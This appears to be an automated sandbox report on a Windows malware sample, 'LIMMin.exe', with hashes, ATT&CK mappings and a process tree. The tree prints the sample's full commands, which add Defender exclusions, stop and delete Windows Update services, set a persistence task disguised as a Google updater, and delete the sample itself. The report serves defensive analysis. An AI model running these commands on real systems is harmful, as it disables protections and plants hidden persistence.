ffb44a5388958cda3be00af5170e3fa51c5bc59e7b6ea659836417a17594d18c

Analysis

max time kernel
121s
max time network
138s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13-10-2023 02:17

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General

Target

LIMMin.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2040 created 1204	2040	LIMMin.exe	21
PID 2040 created 1204	2040	LIMMin.exe	21
PID 2040 created 1204	2040	LIMMin.exe	21
PID 2040 created 1204	2040	LIMMin.exe	21
PID 2040 created 1204	2040	LIMMin.exe	21

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	LIMMin.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
1176	cmd.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2576	sc.exe
2720	sc.exe
2716	sc.exe
2584	sc.exe
1588	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2040	LIMMin.exe
2040	LIMMin.exe
1956	powershell.exe
2040	LIMMin.exe
2040	LIMMin.exe
2040	LIMMin.exe
2040	LIMMin.exe
2040	LIMMin.exe
2040	LIMMin.exe
2688	powershell.exe
2040	LIMMin.exe
2040	LIMMin.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeShutdownPrivilege	2840	powercfg.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeShutdownPrivilege	2580	powercfg.exe
Token: SeShutdownPrivilege	2464	powercfg.exe
Token: SeShutdownPrivilege	2532	powercfg.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 2576	2612	cmd.exe	34
PID 2612 wrote to memory of 2576	2612	cmd.exe	34
PID 2612 wrote to memory of 2576	2612	cmd.exe	34
PID 2612 wrote to memory of 2720	2612	cmd.exe	37
PID 2612 wrote to memory of 2720	2612	cmd.exe	37
PID 2612 wrote to memory of 2720	2612	cmd.exe	37
PID 2612 wrote to memory of 2716	2612	cmd.exe	38
PID 2612 wrote to memory of 2716	2612	cmd.exe	38
PID 2612 wrote to memory of 2716	2612	cmd.exe	38
PID 2612 wrote to memory of 2584	2612	cmd.exe	39
PID 2612 wrote to memory of 2584	2612	cmd.exe	39
PID 2612 wrote to memory of 2584	2612	cmd.exe	39
PID 2612 wrote to memory of 1588	2612	cmd.exe	40
PID 2612 wrote to memory of 1588	2612	cmd.exe	40
PID 2612 wrote to memory of 1588	2612	cmd.exe	40
PID 2616 wrote to memory of 2840	2616	cmd.exe	41
PID 2616 wrote to memory of 2840	2616	cmd.exe	41
PID 2616 wrote to memory of 2840	2616	cmd.exe	41
PID 2612 wrote to memory of 2788	2612	cmd.exe	42
PID 2612 wrote to memory of 2788	2612	cmd.exe	42
PID 2612 wrote to memory of 2788	2612	cmd.exe	42
PID 2616 wrote to memory of 2580	2616	cmd.exe	43
PID 2616 wrote to memory of 2580	2616	cmd.exe	43
PID 2616 wrote to memory of 2580	2616	cmd.exe	43
PID 2616 wrote to memory of 2464	2616	cmd.exe	44
PID 2616 wrote to memory of 2464	2616	cmd.exe	44
PID 2616 wrote to memory of 2464	2616	cmd.exe	44
PID 2612 wrote to memory of 2476	2612	cmd.exe	48
PID 2612 wrote to memory of 2476	2612	cmd.exe	48
PID 2612 wrote to memory of 2476	2612	cmd.exe	48
PID 2612 wrote to memory of 2484	2612	cmd.exe	45
PID 2612 wrote to memory of 2484	2612	cmd.exe	45
PID 2612 wrote to memory of 2484	2612	cmd.exe	45
PID 2616 wrote to memory of 2532	2616	cmd.exe	47
PID 2616 wrote to memory of 2532	2616	cmd.exe	47
PID 2616 wrote to memory of 2532	2616	cmd.exe	47
PID 2612 wrote to memory of 2544	2612	cmd.exe	46
PID 2612 wrote to memory of 2544	2612	cmd.exe	46
PID 2612 wrote to memory of 2544	2612	cmd.exe	46
PID 2612 wrote to memory of 2588	2612	cmd.exe	49
PID 2612 wrote to memory of 2588	2612	cmd.exe	49
PID 2612 wrote to memory of 2588	2612	cmd.exe	49
PID 2688 wrote to memory of 1612	2688	powershell.exe	50
PID 2688 wrote to memory of 1612	2688	powershell.exe	50
PID 2688 wrote to memory of 1612	2688	powershell.exe	50
PID 1176 wrote to memory of 1652	1176	cmd.exe	54
PID 1176 wrote to memory of 1652	1176	cmd.exe	54
PID 1176 wrote to memory of 1652	1176	cmd.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\LIMMin.exe
  "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1956
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2576
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2720
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2716
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2584
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1588
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2788
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2484
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2544
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2476
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2840
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2580
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2464
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\Google\Chrome\updater.exe'
    3⤵
    - Creates scheduled task(s)
    PID:1612
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1176

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:1652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a593b2b29903f58dbd726714927a78d5

SHA1
cc694d3201b49866f634c771e2f0047f8a9142a3

SHA256
713b03519845e03fbd50fd790b2b148d2c898b86a8bfdd39ec695f648b21f59c

SHA512
81cfdada5aa9f4a9efbe1f3e642f026bcf6b0d196a3a4d6b2c28b5d99a718318a8ec910736d4c18d51ed7cb1e7d71dd3c4fbcf06aec71de5fe5af579b174098a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B0TU7QYSF6R78QK7JG3F.temp

Filesize
7KB

MD5
a593b2b29903f58dbd726714927a78d5

SHA1
cc694d3201b49866f634c771e2f0047f8a9142a3

SHA256
713b03519845e03fbd50fd790b2b148d2c898b86a8bfdd39ec695f648b21f59c

SHA512
81cfdada5aa9f4a9efbe1f3e642f026bcf6b0d196a3a4d6b2c28b5d99a718318a8ec910736d4c18d51ed7cb1e7d71dd3c4fbcf06aec71de5fe5af579b174098a

Download Submit
memory/1956-9-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/1956-7-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1956-4-0x000000001B110000-0x000000001B3F2000-memory.dmp

Filesize
2.9MB

Download
memory/1956-8-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/1956-10-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/1956-11-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1956-6-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1956-5-0x0000000001FE0000-0x0000000001FE8000-memory.dmp

Filesize
32KB

Download
memory/2040-27-0x000000013F210000-0x000000013F5AA000-memory.dmp

Filesize
3.6MB

Download
memory/2688-20-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2688-18-0x000000001B200000-0x000000001B4E2000-memory.dmp

Filesize
2.9MB

Download
memory/2688-21-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2688-22-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2688-23-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2688-24-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-25-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-19-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

Filesize
9.6MB

Download